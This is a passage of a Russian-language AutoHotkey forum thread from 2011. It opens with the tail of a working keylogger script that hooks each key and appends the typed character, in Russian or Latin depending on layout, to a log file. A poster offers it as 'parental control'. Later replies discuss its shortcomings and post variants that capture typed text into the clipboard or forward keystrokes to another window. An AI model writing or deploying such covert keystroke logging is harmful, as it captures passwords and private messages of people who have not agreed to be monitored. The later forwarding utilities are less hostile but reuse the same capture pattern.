}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, д, %logpath%
}
else
{
FileAppend, l, %logpath%
}
Return
*$vk4D::
Send, {Blind}{vk4D}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ь, %logpath%
}
else
{
FileAppend, m, %logpath%
}
Return
*$vk4E::
Send, {Blind}{vk4E}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, т, %logpath%
}
else
{
FileAppend, n, %logpath%
}
Return
*$vk4F::
Send, {Blind}{vk4F}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, щ, %logpath%
}
else
{
FileAppend, o, %logpath%
}
Return
*$vk50::
Send, {Blind}{vk50}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, з, %logpath%
}
else
{
FileAppend, p, %logpath%
}
Return
*$vk51::
Send, {Blind}{vk51}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, й, %logpath%
}
else
{
FileAppend, q, %logpath%
}
Return
*$vk52::
Send, {Blind}{vk52}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, к, %logpath%
}
else
{
FileAppend, r, %logpath%
}
Return
*$vk53::
Send, {Blind}{vk53}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ы, %logpath%
}
else
{
FileAppend, s, %logpath%
}
Return
*$vk54::
Send, {Blind}{vk54}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, е, %logpath%
}
else
{
FileAppend, t, %logpath%
}
Return
*$vk55::
Send, {Blind}{vk55}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, г, %logpath%
}
else
{
FileAppend, u, %logpath%
}
Return
*$vk56::
Send, {Blind}{vk56}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, м, %logpath%
}
else
{
FileAppend, v, %logpath%
}
Return
*$vk57::
Send, {Blind}{vk57}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ц, %logpath%
}
else
{
FileAppend, w, %logpath%
}
Return
*$vk58::
Send, {Blind}{vk58}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ч, %logpath%
}
else
{
FileAppend, x, %logpath%
}
Return
*$vk59::
Send, {Blind}{vk59}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, н, %logpath%
}
else
{
FileAppend, y, %logpath%
}
Return
*$vk5A::
Send, {Blind}{vk5A}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, я, %logpath%
}
else
{
FileAppend, z, %logpath%
}
Return
*$vkBA::
Send, {Blind}{vkBA}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ж, %logpath%
}
else
{
FileAppend, `; , %logpath%
}
Return
*$vkBB::
Send, {Blind}{vkBB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `= , %logpath%
Return
*$vkBC::
Send, {Blind}{vkBC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, б, %logpath%
}
else
{
FileAppend, `, , %logpath%
}
Return
*$vkBD::
Send, {Blind}{vkBD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
FileAppend, `- , %logpath%
Return
*$vkBE::
Send, {Blind}{vkBE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ю, %logpath%
}
else
{
FileAppend, `. , %logpath%
}
Return
*$vkBF::
Send, {Blind}{vkBF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, `. , %logpath%
}
else
{
FileAppend, `/ , %logpath%
}
Return
*$vkC0::
Send, {Blind}{vkC0}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ё , %logpath%
}
else
{
FileAppend, `` , %logpath%
}
Return
*$vkDB::
Send, {Blind}{vkDB}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, х , %logpath%
}
else
{
FileAppend, `[ , %logpath%
}
Return
*$vkDC::
Send, {Blind}{vkDC}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, `\ , %logpath%
}
else
{
FileAppend, `| , %logpath%
}
Return
*$vkDD::
Send, {Blind}{vkDD}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, ъ , %logpath%
}
else
{
FileAppend, `] , %logpath%
}
Return
*$vkDE::
Send, {Blind}{vkDE}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, э , %logpath%
}
else
{
FileAppend, `' , %logpath%
}
Return
*$vkDF::
Send, {Blind}{vkDF}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, хз , %logpath%
}
else
{
FileAppend, HZ , %logpath%
}
Return
*$vkE2::
Send, {Blind}{vkE2}
GetKeyState, stateShift, Shift
if stateShift = D
{
FileAppend, %ShiftSymbol%, %logpath%
}
GetKeyState, stateCaps, Capslock, T
if stateCaps = D
{
FileAppend, %CapsSymbol%, %logpath%
}
WinGet, WinID,, A
    ThreadID:=DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
    InputLocaleID:=DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
if InputLocaleID & 0xFFFF = 0x419
{
FileAppend, хз2 , %logpath%
}
else
{
FileAppend, HZ2 , %logpath%
}
Return

31

Re: AHK: сохранение активности клавиатуры в определенном окне

ilya20069 пишет:

Ну чтож в рамках "парент контроля" выложу скрипт, если кто может потестируйте на быстродействие (желательно попечатать текст с ним 400-500 зн/м)
Сохраняет лог в D:\Test.txt
Понимает два языка русский и не русский(английский)
Блин, понял свою ошибку, я адресс лога задал напрямую....

Вобщем то скрипт работает хорошо, но есть недочеты.
1. Плохо что он не запоминает в какой программе он делает запись. Или было бы лучше, если бы он работал только в определенной программе.
2. Плохо разбирать, большие или маленькие буквы.
3. Не пишет "BackSpace".

32 (изменено: ilya20069, 2011-08-13 17:05:21)

Re: AHK: сохранение активности клавиатуры в определенном окне

Хм.. BackSpace пишет как #Bc (самый первый хоткей)
большие | маленькие да, пока все сыро, ну сама идея-то.... скрипт нужно еще допилить, я буду исправленные версии в том посте исправлять.
Символы и идея взяты из этой темы,последние два символа не смог определить, возможно YMP подскажет.

33

Re: AHK: сохранение активности клавиатуры в определенном окне

ilya20069 пишет:

…я буду исправленные версии в том посте исправлять.

ilya20069, не делайте этого ни в коем случае. Выкладывайте новые версии новым постом, ибо: §7.4. Да и желающие увидеть отличие (что нового/поменялось/было исправлено) смогут сделать это простым сравнением старого кода и нового. Не лишайте их такой возможности.

34

Re: AHK: сохранение активности клавиатуры в определенном окне

ilya20069 пишет:

Хм.. BackSpace пишет как #Bc (самый первый хоткей)

Извини не заметил. А большие видимо пишет как "шифт" #Sh?

35 (изменено: ilya20069, 2011-08-13 18:51:50)

Re: AHK: сохранение активности клавиатуры в определенном окне

Взгляните в скрипт еще раз, там все можно настроить (теперь) в первых 7 строках.

to alexii
Были исправлены лишь ошибки в коде(они, я думаю, сравнимы с грамматическими), никаких нововведений не было.

36

Re: AHK: сохранение активности клавиатуры в определенном окне

ilya20069, ещё раз:

* то, что Вы выше где-то правите код — никто этого может не увидеть;
* теряет смысл последующее за кодом обсуждение — ибо неясен становится предмет обсуждения.

Выводы из этого делайте сами.

37

Re: AHK: сохранение активности клавиатуры в определенном окне

Пытался отредактировать скрипт под свои нужды, но не осилил.
Может быть поможете, если есть минутка:

Если в активное окно вбивается последовательность из английских букв и некоторых симолов ( только abcdefghijklmnopqrstuvwxyz.$ ) + ENTER, то такую же последовательность нужно отправить в другое активное окно.
Нужно еще както учесть:
Последовательность прерывается, если нажата любая другая кнопка, кроме Backspace. Backspace соответственно удаляет из последовательности последний символ.

Заранее спасибо!

38

Re: AHK: сохранение активности клавиатуры в определенном окне

#NoEnv
SetBatchLines, -1
Clipboard :=
CheckLocale()
Return

~vk8:: ; backspace
   ClipboardContent := Clipboard
   ClipboardContent := SubStr(ClipboardContent, 1, -1)
   Clipboard := ClipboardContent
;   KeyWait, vk8 ; блок автоповтора
   bsi++
   SetTimer, counterbs, -300 ; чувствительность двойного нажатия
   Return
counterbs:
   If bsi >= 2
      SetTimer, action1bs, -0
   bsi :=
   Return
action1bs:
   Clipboard :=
   Return

~*vk20:: ; space
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= " "
   Return

~*Enter::
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= "`n"
   Return

~*vkBE:: ; .
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn)
      Send, {BS}
   Else
      Clipboard .= "."
   Return

MsgBox, % Clipboard

~*vk34:: ; $
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And !ShiftOn)
      Send, {BS}
   Else
      Clipboard .= "$"
   Return

~*vk41:: ; a
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "A"
   Else
      Clipboard .= "a"
   Return

~*vk42:: ; b
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "B"
   Else
      Clipboard .= "b"
   Return

~*vk43:: ; c
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "C"
   Else
      Clipboard .= "c"
   Return

~*vk44:: ; d
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "D"
   Else
      Clipboard .= "d"
   Return

~*vk45:: ; e
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "E"
   Else
      Clipboard .= "e"
   Return

~*vk46:: ; f
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "F"
   Else
      Clipboard .= "f"
   Return

~*vk47:: ; g
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "G"
   Else
      Clipboard .= "g"
   Return

~*vk48:: ; h
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "H"
   Else
      Clipboard .= "h"
   Return

~*vk49:: ; i
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "I"
   Else
      Clipboard .= "i"
   Return

~*vk4a:: ; j
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "J"
   Else
      Clipboard .= "j"
   Return

~*vk4b:: ; k
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "K"
   Else
      Clipboard .= "k"
   Return

~*vk4c:: ; l
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "L"
   Else
      Clipboard .= "l"
   Return

~*vk4d:: ; m
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "M"
   Else
      Clipboard .= "m"
   Return

~*vk4e:: ; n
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "N"
   Else
      Clipboard .= "n"
   Return

~*vk4f:: ; o
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "O"
   Else
      Clipboard .= "o"
   Return

~*vk50:: ; p
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "P"
   Else
      FileAppend, p, % LogPath
   Return

~*vk51:: ; q
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "Q"
   Else
      Clipboard .= "q"
   Return

~*vk52:: ; r
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "R"
   Else
      Clipboard .= "r"
   Return

~*vk53:: ; s
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "S"
   Else
      Clipboard .= "s"
   Return

~*vk54:: ; t
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "T"
   Else
      Clipboard .= "t"
   Return

~*vk55:: ; u
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "U"
   Else
      Clipboard .= "u"
   Return

~*vk56:: ; v
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "V"
   Else
      Clipboard .= "v"
   Return

~*vk57:: ; w
CheckLocale()
   If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "W"
   Else
      Clipboard .= "w"
   Return

~*vk58:: ; x
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "X"
   Else
      Clipboard .= "x"
   Return

~*vk59:: ; y
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "Y"
   Else
      Clipboard .= "y"
   Return

~*vk5a:: ; z
CheckLocale()
   If CtrlOn
      Return
   Else If InputLocaleID & 0xFFFF = 0x419
      Send, {BS}
   Else If (InputLocaleID & 0xFFFF = 0x409 And ShiftOn And !CapsState
                                           Or !ShiftOn And CapsState)
      Clipboard .= "Z"
   Else
      Clipboard .= "z"
   Return

CheckLocale()
{
   Global
   WinGet, WinID,, A
   CtrlOn := GetKeyState("Ctrl", "P")
   ShiftOn := GetKeyState("Shift", "P")
   CapsState := GetKeyState("Capslock", "T")
   ThreadID := DllCall("GetWindowThreadProcessId", UInt, WinID, UInt, 0)
   InputLocaleID := DllCall("GetKeyboardLayout", UInt, ThreadID, UInt)
}

Esc::ExitApp

Всё вводимое сохраняется в буфере обмена, ввод характеров только латиницей, добавил энтер и пробел (без них печатать не удобно), бэкспэйс работает как есть + стирает из буфера (двойное нажатие очищает буфер обмена). Отставлены функции действий комбинаций клавиш выделения/копирования/вставки, шаг вперёд/назад по истории. При желании можно добавить свои характеры по аналогии.

OFF: Если возникнут вопрос/ы и я не отвечу, значит я всё ещё на рыбалке.

39 (изменено: jjdj, 2011-08-30 01:35:33)

Re: AHK: сохранение активности клавиатуры в определенном окне

Всё вводимое сохраняется в буфере обмена, ввод характеров только латиницей, добавил энтер и пробел (без них печатать не удобно), бэкспэйс работает как есть + стирает из буфера (двойное нажатие очищает буфер обмена). Отставлены функции действий комбинаций клавиш выделения/копирования/вставки, шаг вперёд/назад по истории. При желании можно добавить свои характеры по аналогии.

OFF: Если возникнут вопрос/ы и я не отвечу, значит я всё ещё на рыбалке.

спасибо за ответ. почти то что мне нужно. синтаксис, к сожалению, для меня совсем непонятный

мне нужно именно посылать символы в окно, а не вставлять туда текст. всего символов от одного до шести. после ввода обязательно нажимается ENTER.

40

Re: AHK: сохранение активности клавиатуры в определенном окне

http://i075.radikal.ru/1108/c2/5bba25961086.jpg

SetBatchLines, -1
App = Notepad ; в данном случае "под опытное окно" - блокнот
CheckLocale()
vk31:: ; 1 - эти клавиши игнорируются
vk32:: ; 2
vk33:: ; 3
vk34:: ; 4
vk35:: ; 5
vk36:: ; 6
vk37:: ; 7
vk38:: ; 8
vk39:: ; 9
vk30:: ; 0
vkBD:: ; -
vkBB:: ; =
vkC0:: ; tilde
vk9::  ; tab
vkBC:: ; ,
vkBF:: ; /
vkBA:: ; ;
vkDE:: ; ''
vkDC:: ; \
vkDB:: ; [
vkDD:: ; ]
Enter:: ; т.е. игнорируются все клавиши которые могут что-то ввести, не считая цифровой панели
Return

~BS:: ; backspace
   CheckLocale()
   If InputLocaleID = 0x4190419
      PostMessage, 0x50,, 0x4090409,, A
   ControlSend,, {BS}, % "ahk_class" App
   Return

~vkBE:: ; .
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {.}
   }
   ControlSend,, ., % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~*vk34:: ; $
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {$}
   }
   ControlSend,, $, % "ahk_class" App
   ControlSend,, {Enter}, % "ahk_class" App
   Return

~vk41:: ; a
   CheckLocale()
   If InputLocaleID = 0x4190419
   {
      Send, {BS}
      PostMessage, 0x50,, 0x4090409,, A
      Send, {a}
   }
   ControlSend,, a, % "ahk_class" App
